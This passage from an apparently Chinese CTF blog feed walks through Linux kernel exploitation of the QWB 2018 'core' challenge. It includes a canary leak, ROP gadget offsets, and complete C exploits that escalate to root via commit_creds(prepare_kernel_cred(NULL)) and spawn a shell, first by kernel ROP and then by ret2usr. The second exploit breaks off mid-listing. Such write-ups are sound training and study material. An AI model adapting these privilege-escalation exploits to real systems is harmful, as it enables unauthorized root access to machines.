title="解题思路（来自ctfkiwi的总结）"></a>解题思路（来自ctfkiwi的总结）</h3><p>经过如上的分析，可以得出以下解题思路：</p><ol><li>通过 ioctl 设置 off，然后通过 core_read() 泄漏出 canary</li><li>通过 core_write() 向 name 写，构造 ropchain</li><li>通过 core_copy_func() 从 name 向局部变量上写，通过设置合理的长度和 canary 进行 rop</li><li>通过 rop 执行 <code>commit_creds(prepare_kernel_cred(NULL))</code> 进行提权</li><li>返回用户态，通过 system(“&#x2F;bin&#x2F;sh”) 等起 shell</li></ol><p>commit_creds（） 和 prepare_kernel_cred（）的地址之前说过可以通过init保存在&#x2F;tmp&#x2F;kallsyms的数据来进行读取，同时我们也可以根据其距离vmlinux的固定偏移来确定 gadgets 的地址 ，其实这里就和用户态linux的题目非常的相似了 。</p><p>我们先在qemu中查看这两个函数的地址 ：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250807184905516.png"                      alt="image-20250714154407515"                ></p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">/ $ cat /tmp/kallsyms | grep commit_creds</span><br><span class="line">ffffffff9e09c8e0 T commit_creds</span><br><span class="line">/ $ cat /tmp/kallsyms | grep prepare_kernel_cred</span><br><span class="line">ffffffff9e09cce0 T prepare_kernel_cred</span><br></pre></td></tr></table></figure></div><p>然后计算这两个函数在 vmlinux 的偏移 ：</p><p>写一个简单的check脚本：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">~/PWN/kernel/kernelROP/QWB2018-core/give_to_player                                 root@SpaceDraG0n 03:47:06 PM</span><br><span class="line">❯ cat check.py   </span><br><span class="line">from pwn import *</span><br><span class="line">elf = ELF(&#x27;./core/vmlinux&#x27;)</span><br><span class="line">print(&quot;commit_creds  &gt;&gt; &quot; + hex(elf.symbols[&#x27;commit_creds&#x27;]-0xffffffff81000000))</span><br><span class="line">print(&quot;prepare_kernel_cred  &gt;&gt;&quot; + hex(elf.symbols[&#x27;prepare_kernel_cred&#x27;]-0xffffffff81000000))</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250807184907302.png"                      alt="image-20250714154752358"                ></p><p>这样我们就可以把函数在 vmlinux 的偏移求出来了 </p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250807184908541.png"                      alt="image-20250714155737487"                ></p><p>然后我们就可以通过实际函数地址减去得到的偏移，然后就可以知道vmlinux基地址 <code>0xffffffff9e000000</code></p><p>当然我们这个vmlinux地址是会变的，但是我们之所以要求出来，是为了知道栈上其他地址对与vmlinux的固定偏移，知道了这个固定偏移我们就可以通过copy_to_user，把栈上的值减去偏移从而得到vmlinux_base</p><p>然后我们就去 vmlinux 里面找一些 gadget ，这里我们使用 ropper 进行一个提取 ，因为用 ROPgadget 进行提取会比较慢 。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ropper --file ./vmlinux --nocolor &gt; gadget_ropper.txt</span><br></pre></td></tr></table></figure></div><p>然后可以使用正则表达式寻找我们想要的gadget</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250807184909915.png"                      alt="image-20250719231948241"                ></p><p>canary的值就是这个 ，然后因为我们赋值了0x40到buf，所以后面的数据也一同复制到了buf，所以我们可以得到core_base 以及 vmlinux_base ，至于固定偏移怎么求，我前面已经讲过了 。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250807184911309.png"                      alt="image-20250719232832809"                ></p><p>这里现在验证一下泄露有没有问题，发现没有问题我们就可以进行下一步 rop 的编写了 ，因为我们在内核空间是通过执行 <code>commit_creds(prepare_kernel_cred(NULL))</code> 来提权的，所以我们要准备一个比较特殊的gadget <code>mov rdi,rax;call rdx;</code></p><p>其实就是把<code>prepare_kernel_cred(0)</code> 的返回值放到rdi寄存器里面，然后调用<code>commit_creds</code>函数，但是这里不是直接调用 ，而是通过执行pop_rcx间接调用 ，rop构造如下：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">int i = 0;</span><br><span class="line">for(i=0;i&lt;10;i++)&#123;</span><br><span class="line">    rop[i] = canary;</span><br><span class="line">&#125;</span><br><span class="line">i = 10;</span><br><span class="line">rop[i++] = pop_rdi; </span><br><span class="line">rop[i++] = 0;</span><br><span class="line">rop[i++] = prepare_kernel_cred;</span><br><span class="line">rop[i++] = pop_rdx;</span><br><span class="line">rop[i++] = pop_rcx;</span><br><span class="line">rop[i++] = mov_rdi_rax_call_rdx;</span><br><span class="line">rop[i++] = commit_creds;</span><br><span class="line">rop[i++] = swapgs; //恢复用户GS寄存器</span><br><span class="line">rop[i++] = 0;</span><br><span class="line">rop[i++] = iretq;</span><br><span class="line">rop[i++] = (size_t)get_shell;</span><br><span class="line">rop[i++] = user_cs;</span><br><span class="line">rop[i++] = user_rflags;</span><br><span class="line">rop[i++] = user_sp;</span><br><span class="line">rop[i++] = user_ss;</span><br></pre></td></tr></table></figure></div><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">↓   swapgs</span><br><span class="line">    iretq</span><br><span class="line">    user_shell_addr</span><br><span class="line">    user_cs</span><br><span class="line">    user_eflags //64bit user_rflags</span><br><span class="line">    user_sp</span><br><span class="line">    user_ss</span><br></pre></td></tr></table></figure></div><p>其实就是提权后构造以上的rop链 </p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250807184913903.png"                      alt="image-20250719235642606"                ></p><p>然后我们可以利用 core_write 函数，把我们构造出来的rop通过copy_from_user函数来复制到name变量里面去，这里的 core_write 函数可以直接调用，不需要我们通过 ioctl 间接调用：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250807184915592.png"                      alt="image-20250719235923415"                ></p><p>大概是因为 core_write 函数被定义到 core_fops 这个全局变量里面 ，所以我们可以直接进行调用 </p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250807184916645.png"                      alt="image-20250720000310012"                ></p><p>然后我们用数据类型引起的overflow，调用core_copy_func函数来布置rop栈溢出就可以实现内核提权了</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250807184917985.png"                      alt="image-20250720002143694"                ></p><h3 id="EXP："><a href="#EXP：" class="headerlink" title="EXP："></a>EXP：</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br></pre></td><td class="code"><pre><span class="line">#include&lt;stdio.h&gt;</span><br><span class="line">#include&lt;unistd.h&gt;</span><br><span class="line">#include&lt;stdlib.h&gt;</span><br><span class="line">#include&lt;fcntl.h&gt;</span><br><span class="line">#include&lt;string.h&gt;</span><br><span class="line">#include&lt;sys/types.h&gt;</span><br><span class="line">#include&lt;sys/wait.h&gt;</span><br><span class="line">#include&lt;sys/ioctl.h&gt;</span><br><span class="line">#include&lt;pthread.h&gt;</span><br><span class="line">void setoff(int fd,long long size)&#123;</span><br><span class="line">    ioctl(fd,0x6677889c,size);</span><br><span class="line">&#125;</span><br><span class="line">void core_read(int fd,char *buf)&#123;</span><br><span class="line">    ioctl(fd,0x6677889b,buf);</span><br><span class="line">&#125;</span><br><span class="line">void core_copy_func(int fd,long long size)&#123;</span><br><span class="line">    ioctl(fd,0x6677889a,size);</span><br><span class="line">&#125;</span><br><span class="line">size_t user_cs, user_ss, user_rflags, user_sp;</span><br><span class="line"></span><br><span class="line">void save_status(void)</span><br><span class="line">&#123;</span><br><span class="line">    asm volatile (</span><br><span class="line">        &quot;mov user_cs, cs;&quot;</span><br><span class="line">        &quot;mov user_ss, ss;&quot;</span><br><span class="line">        &quot;mov user_sp, rsp;&quot;</span><br><span class="line">        &quot;pushf;&quot;</span><br><span class="line">        &quot;pop user_rflags;&quot;</span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    puts(&quot;\033[34m\033[1m[*] Status has been saved.\033[0m&quot;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">void get_shell()&#123;</span><br><span class="line">system(&quot;/bin/sh&quot;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">int main()&#123;</span><br><span class="line">    int fd ;</span><br><span class="line">    size_t tmp;</span><br><span class="line">    char buf[0x50];</span><br><span class="line">    size_t rop[0x100];</span><br><span class="line">    size_t vmlinux_base,canary,core_base;</span><br><span class="line">    size_t commit_creds = 0x9c8e0;</span><br><span class="line">    size_t prepare_kernel_cred = 0x9cce0;</span><br><span class="line">    save_status();</span><br><span class="line">    fd = open(&quot;/proc/core&quot;,O_RDWR); //程序创造了一个接口，所以我们需要把这个接口给打开 ，这样才能进行函数调用</span><br><span class="line">    if(fd &lt; 0) &#123;</span><br><span class="line">        printf(&quot;Open /proc/core error!\n&quot;);</span><br><span class="line">        exit(0);</span><br><span class="line">    &#125;</span><br><span class="line">    setoff(fd,0x40); // v4 距离 canary 的偏移是 0x40 ，而且v5的数据类型是char类型。</span><br><span class="line">    core_read(fd,buf); //把canary读入用户态的buf </span><br><span class="line">    size_t pop_rdi = 0x000b2f;</span><br><span class="line">    size_t push_rax = 0x02d112;</span><br><span class="line">    size_t swapgs = 0x0d6;</span><br><span class="line">    size_t iretq ;</span><br><span class="line">    size_t xchg = 0x16684f0;</span><br><span class="line">    size_t call_rax = 0x40398;</span><br><span class="line">    size_t pop_rcx = 0x21e53;</span><br><span class="line">    size_t pop_rbp = 0x3c4;</span><br><span class="line">    size_t pop_rdx = 0xa0f49;</span><br><span class="line">    size_t mov_rdi_rax_call_rdx = 0x01aa6a;</span><br><span class="line">    //此时buf的前八个字节是我们的canary</span><br><span class="line">    canary = (*(size_t *)(&amp;buf[0]));</span><br><span class="line">    puts(&quot;\033[34m\033[1m[*] leak success! .\033[0m&quot;);</span><br><span class="line">    printf(&quot;\033[34m\033[1m[*] Canary  &gt;&gt; %p.\033[0m\n&quot;,canary);</span><br><span class="line">    core_base = (*(size_t *)(&amp;buf[2*8])) - 0x19b;</span><br><span class="line">    puts(&quot;\033[34m\033[1m[*] leak success! .\033[0m&quot;);</span><br><span class="line">    printf(&quot;\033[34m\033[1m[*] core_base  &gt;&gt; %p.\033[0m\n&quot;,core_base);</span><br><span class="line">    vmlinux_base = (*(size_t *)(&amp;buf[4*8]) - 0x1dd6d1);</span><br><span class="line">    puts(&quot;\033[34m\033[1m[*] leak success! .\033[0m&quot;);</span><br><span class="line">    printf(&quot;\033[34m\033[1m[*] vmlinux_base  &gt;&gt; %p.\033[0m\n&quot;,vmlinux_base);</span><br><span class="line">    pop_rdi += vmlinux_base;</span><br><span class="line">    pop_rcx += vmlinux_base;</span><br><span class="line">    pop_rbp += vmlinux_base;</span><br><span class="line">    pop_rdx += vmlinux_base;</span><br><span class="line">    mov_rdi_rax_call_rdx += vmlinux_base;</span><br><span class="line">    swapgs += core_base;</span><br><span class="line">    iretq = 0x50ac2 + vmlinux_base;</span><br><span class="line">    commit_creds += vmlinux_base;</span><br><span class="line">    prepare_kernel_cred += vmlinux_base;</span><br><span class="line">    int i = 0;</span><br><span class="line">    for(i=0;i&lt;10;i++)&#123;</span><br><span class="line">        rop[i] = canary;</span><br><span class="line">    &#125;</span><br><span class="line">    i = 10;</span><br><span class="line">    rop[i++] = pop_rdi; </span><br><span class="line">    rop[i++] = 0;</span><br><span class="line">    rop[i++] = prepare_kernel_cred;</span><br><span class="line">    rop[i++] = pop_rdx;</span><br><span class="line">    rop[i++] = pop_rcx;</span><br><span class="line">    rop[i++] = mov_rdi_rax_call_rdx;</span><br><span class="line">    rop[i++] = commit_creds;</span><br><span class="line">    rop[i++] = swapgs; //恢复用户GS寄存器</span><br><span class="line">    rop[i++] = 0;</span><br><span class="line">    rop[i++] = iretq;</span><br><span class="line">    rop[i++] = (size_t)get_shell;</span><br><span class="line">    rop[i++] = user_cs;</span><br><span class="line">    rop[i++] = user_rflags;</span><br><span class="line">    rop[i++] = user_sp;</span><br><span class="line">    rop[i++] = user_ss;</span><br><span class="line">    write(fd,rop,i*8);</span><br><span class="line">    core_copy_func(fd,0xf000000000000000+i*8);</span><br><span class="line">    puts(&quot;\033[34m\033[1m[*] Attack Success! .\033[0m&quot;);</span><br><span class="line">    return 0;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h2 id="参考链接："><a href="#参考链接：" class="headerlink" title="参考链接："></a>参考链接：</h2><p><a class="link"   href="https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/rop/rop/" >https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/rop/rop/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p><a class="link"   href="https://ret2p4nda.github.io/2018/07/13/ciscn2018-core/" >https://ret2p4nda.github.io/2018/07/13/ciscn2018-core/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p><a class="link"   href="https://www.z1r0.top/2021/10/22/kernel%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/#%E6%94%BB%E5%87%BB%E6%B5%81%E7%A8%8B" >https://www.z1r0.top/2021/10/22/kernel%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/#%E6%94%BB%E5%87%BB%E6%B5%81%E7%A8%8B<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p>]]>
    </content>
    <id>https://spacedrag0n-1.github.io/posts/16108.html</id>
    <link href="https://spacedrag0n-1.github.io/posts/16108.html"/>
    <published>2025-08-07T09:53:26.000Z</published>
    <summary>
      <![CDATA[<h1 id="Kernel-ROP"><a href="#Kernel-ROP" class="headerlink" title="Kernel ROP"></a>Kernel ROP</h1><p>ROP]]>
    </summary>
    <title>Kernel初识 - Kernel ROP</title>
    <updated>2025-08-08T08:38:30.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>SpaceDraG0n</name>
    </author>
    <category term="知识分享" scheme="https://spacedrag0n-1.github.io/categories/%E7%9F%A5%E8%AF%86%E5%88%86%E4%BA%AB/"/>
    <category term="Kernel Pwn" scheme="https://spacedrag0n-1.github.io/tags/Kernel-Pwn/"/>
    <content>
      <![CDATA[<h1 id="Kernel-ret2usr"><a href="#Kernel-ret2usr" class="headerlink" title="Kernel ret2usr"></a>Kernel ret2usr</h1><p>个人感觉这个手法有点类似于用户态的ret2shellcode，但又不完全相同</p><h2 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h2><p><strong>在【未】开启 SMAP&#x2F;SMEP 保护的情况下</strong>，用户空间无法访问内核空间的数据，但是内核空间可以访问 &#x2F; 执行用户空间的数据，因此 <code>ret2usr</code> 这种攻击手法应运而生——通过 kernel ROP 以内核的 ring 0 权限执行用户空间的代码以完成提权。</p><p>通常 CTF 中的 ret2usr 还是以执行 <code>commit_creds(prepare_kernel_cred(NULL))</code> 进行提权为主要的攻击手法，不过相比起构造冗长的 ROP chain，ret2usr 只需我们要提前在用户态程序构造好对应的函数指针、获取相应函数地址后直接 ret 回到用户空间执行即可，在这种情况下 <strong>我们只需要劫持内核执行流，而无需在内核空间构造复杂的 ROP 链条</strong> 。</p><p>✳ 对于开启了 <code>SMAP/SMEP保护</code> 的 kernel 而言，<strong>内核空间尝试直接访问用户空间会引起 kernel panic</strong>，我们将在下一章节讲述其绕过方式。</p><blockquote><p>在 QEMU 启动参数中，我们可以为 CPU 参数加上 <code>-smep,-smap</code> 以显式关闭 SMEP&amp;SMAP 保护，例如：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">#!/bin/sh</span><br><span class="line">qemu-system-x86_64 \</span><br><span class="line">    -enable-kvm \</span><br><span class="line">    -cpu host,-smep,-smap \</span><br><span class="line"># ...</span><br></pre></td></tr></table></figure></div></blockquote><h2 id="攻击代码"><a href="#攻击代码" class="headerlink" title="攻击代码"></a>攻击代码</h2><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">void get_shell()&#123;</span><br><span class="line">system(&quot;/bin/sh&quot;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">size_t prepare_kernel_cred , commit_creds;</span><br><span class="line">void* (*prepare_kernel_cred_kfunc)(void *task_struct);</span><br><span class="line">int (*commit_creds_kfunc)(void *cred);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">void privilege_escalation()&#123;</span><br><span class="line">    if(commit_creds &amp;&amp; prepare_kernel_cred)&#123;</span><br><span class="line">        (*((void (*)(char *))commit_creds))(</span><br><span class="line">            (*((char* (*)(int))prepare_kernel_cred))(0)</span><br><span class="line">        );</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></div><h2 id="例题：强网杯-2018-core"><a href="#例题：强网杯-2018-core" class="headerlink" title="例题：强网杯 2018 - core"></a>例题：强网杯 2018 - core</h2><h3 id="Kernel-ret2usr-1"><a href="#Kernel-ret2usr-1" class="headerlink" title="Kernel ret2usr"></a>Kernel ret2usr</h3><p>直接贴exp了，只需要把直接内核提权的rop换成我们用户态构造好的提权函数地址即可，如果对前面的相关思路还没有了解的，可以去看我的之前的博客 ，Kernel ROP 。</p><h3 id="EXP："><a href="#EXP：" class="headerlink" title="EXP："></a>EXP：</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br></pre></td><td class="code"><pre><span class="line">#include&lt;stdio.h&gt;</span><br><span class="line">#include&lt;unistd.h&gt;</span><br><span class="line">#include&lt;stdlib.h&gt;</span><br><span class="line">#include&lt;fcntl.h&gt;</span><br><span class="line">#include&lt;string.h&gt;</span><br><span class="line">#include&lt;sys/types.h&gt;</span><br><span class="line">#include&lt;sys/wait.h&gt;</span><br><span class="line">#include&lt;sys/ioctl.h&gt;</span><br><span class="line">#include&lt;pthread.h&gt;</span><br><span class="line">void setoff(int fd,long long size)&#123;</span><br><span class="line">    ioctl(fd,0x6677889c,size);</span><br><span class="line">&#125;</span><br><span class="line">void core_read(int fd,char *buf)&#123;</span><br><span class="line">    ioctl(fd,0x6677889b,buf);</span><br><span class="line">&#125;</span><br><span class="line">void core_copy_func(int fd,long long size)&#123;</span><br><span class="line">    ioctl(fd,0x6677889a,size);</span><br><span class="line">&#125;</span><br><span class="line">size_t user_cs, user_ss, user_rflags, user_sp;</span><br><span class="line"></span><br><span class="line">void save_status(void)</span><br><span class="line">&#123;</span><br><span class="line">    asm volatile (</span><br><span class="line">        &quot;mov user_cs, cs;&quot;</span><br><span class="line">        &quot;mov user_ss, ss;&quot;</span><br><span class="line">        &quot;mov user_sp, rsp;&quot;</span><br><span class="line">        &quot;pushf;&quot;</span><br><span class="line">        &quot;pop user_rflags;&quot;</span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    puts(&quot;\033[34m\033[1m[*] Status has been saved.\033[0m&quot;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">void get_shell()&#123;</span><br><span class="line">system(&quot;/bin/sh&quot;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">int fd ;</span><br><span class="line">size_t tmp;</span><br><span class="line">char buf[0x50];</span><br><span class="line">size_t rop[0x100];</span><br><span class="line">size_t vmlinux_base,canary,core_base;</span><br><span class="line">size_t commit_creds = 0x9c8e0;</span><br><span class="line">size_t prepare_kernel_cred = 0x9cce0;</span><br><span class="line">size_t pop_rdi = 0x000b2f;</span><br><span class="line">size_t push_rax = 0x02d112;</span><br><span class="line">size_t swapgs = 0x0d6;</span><br><span class="line">size_t iretq ;</span><br><span class="line">size_t xchg = 0x16684f0;</span><br><span class="line">size_t call_rax = 0x40398;</span><br><span class="line">size_t pop_rcx = 0x21e53;</span><br><span class="line">size_t pop_rbp = 0x3c4;</span><br><span class="line">size_t pop_rdx = 0xa0f49;</span><br><span class="line">size_t mov_rdi_rax_call_rdx = 0x01aa6a;</span><br><span class="line">int i = 0;</span><br><span class="line"></span><br><span class="line">void get_addr()&#123;</span><br><span class="line"></span><br><span class="line">    save_status();</span><br><span class="line">    fd = open(&quot;/proc/core&quot;,O_RDWR); //程序创造了一个接口，所以我们需要把这个接口给打开 ，这样才能进行函数调用</span><br><span class="line">    if(fd &lt; 0) &#123;</span><br><span class="line">        printf(&quot;Open /proc/core error!\n&quot;);</span><br><span class="line">        exit(0);</span><br><span class="line">    &#125;</span><br><span class="line">    setoff(fd,0x40); // v4 距离 canary 的偏移是 0x40 ，而且v5的数据类型是char类型。</span><br><span class="line">    core_read(fd,buf); //把canary读入用户态的buf </span><br><span class="line"></span><br><span class="line">    //此时buf的前八个字节是我们的canary</span><br><span class="line">    canary = (*(size_t *)(&amp;buf[0]));</span><br><span class="line">    puts(&quot;\033[34m\033[1m[*] leak success! .\033[0m&quot;);</span><br><span class="line">    printf(&quot;\033[34m\033[1m[*] Canary  &gt;&gt; %p.\033[0m\n&quot;,canary);</span><br><span class="line">    core_base = (*(size_t *)(&amp;buf[2*8])) - 0x19b;</span><br><span class="line">    puts(&quot;\033[34m\033[1m[*] leak success! .\033[0m&quot;);</span><br><span class="line">    printf(&quot;\033[34m\033[1m[*] core_base  &gt;&gt; %p.\033[0m\n&quot;,core_base);</span><br><span class="line">    vmlinux_base = (*(size_t *)(&amp;buf[4*8]) - 0x1dd6d1);</span><br><span class="line">    puts(&quot;\033[34m\033[1m[*] leak success! .\033[0m&quot;);</span><br><span class="line">    printf(&quot;\033[34m\033[1m[*] vmlinux_base  &gt;&gt; %p.\033[0m\n&quot;,vmlinux_base);</span><br><span class="line">    pop_rdi += vmlinux_base;</span><br><span class="line">    pop_rcx += vmlinux_base;</span><br><span class="line">    pop_rbp += vmlinux_base;</span><br><span class="line">    pop_rdx += vmlinux_base;</span><br><span class="line">    mov_rdi_rax_call_rdx += vmlinux_base;</span><br><span class="line">    swapgs += core_base;</span><br><span class="line">    iretq = 0x50ac2 + vmlinux_base;</span><br><span class="line">    commit_creds += vmlinux_base;</span><br><span class="line">    prepare_kernel_cred += vmlinux_base;</span><br><span class="line"></span><br><span class="line"> </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">void privilege_escalation()&#123;</span><br><span class="line">    if(commit_creds &amp;&amp; prepare_kernel_cred)&#123;</span><br><span class="line">        (*((void (*)(char *))commit_creds))(</span><br><span class="line">            (*((char* (*)(int))prepare_kernel_cred))(0)</span><br><span class="line">        );</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">int main()&#123;</span><br><span class="line">   get_addr();</span><br><span class="line">   for(i=0;i&lt;10;i++)&#123;</span><br><span class="line">        rop[i] = canary;</span><br><span class="line">    &#125;</span><br><span class="line">    i = 10;</span><br><span class="line">    rop[i++] = (size_t)privilege_escalation;</span><br><span class="line">    rop[i++] = swapgs; //恢复用户GS寄存器</span><br><span class="line">    rop[i++] = 0;</span><br><span class="line">    rop[i++] = iretq;</span><br><span class="line">    rop[i++] = (size_t)get_shell;</span><br><span class="line">    rop[i++] = user_cs;</span><br><span class="line">    rop[i++] = 